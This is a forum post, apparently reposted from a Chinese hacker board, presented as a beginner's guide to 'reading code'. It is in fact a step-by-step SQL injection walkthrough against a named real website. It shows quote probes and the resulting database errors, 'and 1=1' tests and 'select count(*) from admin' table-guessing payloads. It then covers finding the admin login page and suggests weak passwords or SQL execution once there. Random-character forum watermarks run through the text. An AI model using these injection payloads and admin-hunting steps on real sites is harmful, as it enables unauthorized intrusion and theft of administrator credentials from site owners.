QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 5157|回复: 0
打印 上一主题 下一主题

菜鸟,我来牵你走--如何查看代码

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 00:36 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
作者:枫三少  转自:黑基bbs原创作品版7 u* Z* i( [9 k

, V* G1 P' t3 _" w2 s有很多人问过我这个问题。老是听说,看到文章里谁谁谁怎么分析别人的代码怎么来入侵的。那么怎么找代码呢?$ t  x# j7 l! S# w$ Y8 N! i: B+ t7 x
" f& l( e0 X( |0 j  N! _( @
分析代码,首先你得有源代码。如果找源代码呢?呵呵,假如是分析DV的,就下一个DV的来,看看他的代码。9 D5 n" @- b$ R/ A7 O. Z7 m9 @% r7 g
: G- f4 C$ B3 Z4 o3 M
在实战中往往因为时间的愿意我们采用的还有从HTML代码入手。% h  A  i, ~2 I. W% o

) `: C5 [1 F/ ]% x3 y这里我简单的介绍一个过程吧。
' o. J1 ?! V+ N2 e1 _1 @8 G0 R5 }: i4 U6 @
首先我找到一个网站,是我们基地首页有连接的
5 U: a( c7 s0 w6 X, thttp://www.16china.com/hack/) X# ?. ~" r  f1 a9 I1 k
! B4 s$ t$ K; o
随便选择一个分页:( N6 a4 ~; G/ d# B) }  y
http://www.16china.com/hack/SoftView.Asp?SoftID=139( L" G8 [5 F6 x
典型的ASP。看看能不能注射# p5 P/ N% [; j' [8 c9 n
http://www.16china.com/hack/SoftView.Asp?SoftID=139'! ?3 u0 Z3 ?6 V
返回:
8 a& l2 n; [& }+ @Microsoft VBScript 编译器错误 错误 '800a03f6' 1 x; }/ u5 N. v% a0 ^- T2 }

0 u) C; u& s4 K2 S# L缺少 'End'
# l2 `' a. @5 r
- e& A2 @' A1 D- o3 ^- A! L/iisHelp/common/500-100.asp,行242
2 W; o! E) }3 u* Y* F% c- j) B7 s- u
Microsoft JET Database Engine 错误 '80040e14'   V  W+ D& Y% t

  d" l' A; z3 A  k6 e" v字符串的语法错误 在查询表达式 'SoftInfo.CateID=Category.CateID and SoftInfo.SubID=SubCate.SubID and SoftInfo.SoftID=139'' 中。   K3 X% ?% F( i6 @8 s# R, h
, X2 Z. a  z. k0 r
/hack/SoftView.Asp,行17 2 B; J  A) ?$ p$ w2 l
再来:# W: u( y' U, M* B7 Y; P
http://www.16china.com/hack/SoftView.Asp?SoftID=139%20and%201=1
* E5 h$ S" D# K返回正常网页。
4 X+ _6 [  N; O# O0 @5 N
) u, a4 Q; ?, L0 s- k" m8 K提交:
1 z; S1 ~5 N! P7 l' u5 ehttp://www.16china.com/hack/Soft ... %20(select%20count(*)%20from%20admin)>=0
5 U9 T  h* V# u* s' R* E3 l& v7 I
1 R$ U* c5 G' ^8 N$ K. g$ U返回正常页/* l. Z( g! M- k, L* x
http://www.16china.com/hack/Soft ... %20(select%20count(*)%20from%20article)>=0$ t) v. j" f- y6 w1 J

( G! f7 M( X5 M3 g( j6 w同样正常。- _3 }8 G% u/ W
; W' {- o- G5 v1 `
http://www.16china.com/hack/Soft ... )%20from%20article)>=0; L0 P* a1 a+ W. x, u

4 i. T: `6 s( P8 X8 l……
! `0 _; ~6 k: r/ D1 o! u7 o' d& A- j3 B. g* W* C; g
象上面这样我们就可以成功注射网站。那么在拿到管理员帐号密码后如何找后台
- t* u( D0 Y" T' ^按以往的经验我采用:( q8 l1 A8 `& d( T# D! S
http://www.16china.com/hack/admin  /*这里的”ADMIN“可以用LOGIN等替换*/
3 d/ p4 C8 m, N' x( z我为什么不用http://www.16china.com/hack/admin.asp
% U9 u4 P7 j' |: }  w- ^+ \3 \http://www.16china.com/hack/admin/index.asp呢?因为我不知道他文件夹里的东西有没有被修改。如果存在ADMIN文件夹,但是并不是常用首页的话IE将返回如“你没有权限浏览网页……”等信息,一般来说我们可以确定后台就在那里。9 v. ?/ y* w, X
http://www.16china.com/hack/admin返回信息:
. ^: _; ]8 ^7 y0 ?0 r错误提示信息!
7 c9 Z% ^9 w- Q$ s" X& m/ H  产生错误的可能原因:8 }+ G; |8 l, E' g
+ V  E5 K' {3 D4 C0 C

* g& |% v9 n9 ^) X; d您没有进入本页面的权限!本次操作已被记录!) C( I3 q8 I, t" `, e! |
可能您还没有登陆或者不具有使用当前功能的权限!请联系管理员.1 P6 Q) J- {, F3 g
本页面为[管理员]专用,请先登陆后进入.7 e. O) L7 T1 n" M
4 a* X$ f, t9 Z1 I  Y# U, k: w
返回上一页... /*说明登陆URL为常用的如:index.asp...*/
4 I  k: ]  d* K; r1 Z查看HTML代码:( t/ S: l3 V& Y1 U. t9 Z
<html><head><title>错误提示信息!</title>- D6 G2 h7 l" w' ~5 m
% G# i0 L9 u% O. H+ N! S- v$ f1 F+ a
……- @( s) B4 E- Y! M
  r3 [7 l5 P' I0 J, i; X6 g% Q
<a href=adminlogin.asp class=meun target=_top>登陆</a>后进入.
, |9 ^$ x* Z8 i  O; A& I9 `8 K+ o……
  T4 Y; W& b$ E) Z, w! y1 |% F. b1 i1 l" z" a+ }1 @
找到了:. H( P4 e/ [. z
http://www.16china.com/hack/admin/adminlogin.asp; l! E, {: _7 E1 _5 P) J5 m6 @

9 a4 ?; Z& \7 J9 ~6 w  l8 q
) U2 A$ h! B8 B; _. S6 c6 ?看看他的源代码告诉我们些什么:0 I# @8 e" c. y& Y

- I/ a9 _& M5 t& V, E" Q<html>
3 m. U; }5 Z9 g2 d1 |9 H
! I: B3 a" l5 ]6 r<head>3 b8 ^5 b' i7 `! ]; x4 g8 m
<title>管理员登陆</title>
' k5 w% U& M' {8 X' [% h* z7 X/ B% |+ }- @' _
……………6 w# {  R$ ~+ s% S
( y  Y; w0 j' b. s3 D! d# x( a
关于数据库表名这些这里不多讲,看看,如果我们输入正确的帐号密码将回进入$ S. w. N9 f8 E3 q! R
http://www.16china.com/hack/admin/adminlogin.asp?action=login& D6 k% l) }# z# n+ n$ o$ ?. i: `
这里。
9 M' i2 [6 M$ Z) d  j& [) a) C
- y8 O( R- q/ I+ U0 a, h只要知道了后台,我们就有很多办法,如弱口令,SQL本地执行(赢政下载系统)……
$ I  T8 ?% D) T0 M: ]+ k& s& Y, @: o; }. e
懂了吗?好了,时间关系加上本人技术原因就写到这里吧。不懂的可以跟贴,大家一起讨论一下:)
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持1 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-25 10:52 , Processed in 0.451452 second(s), 52 queries .

回顶部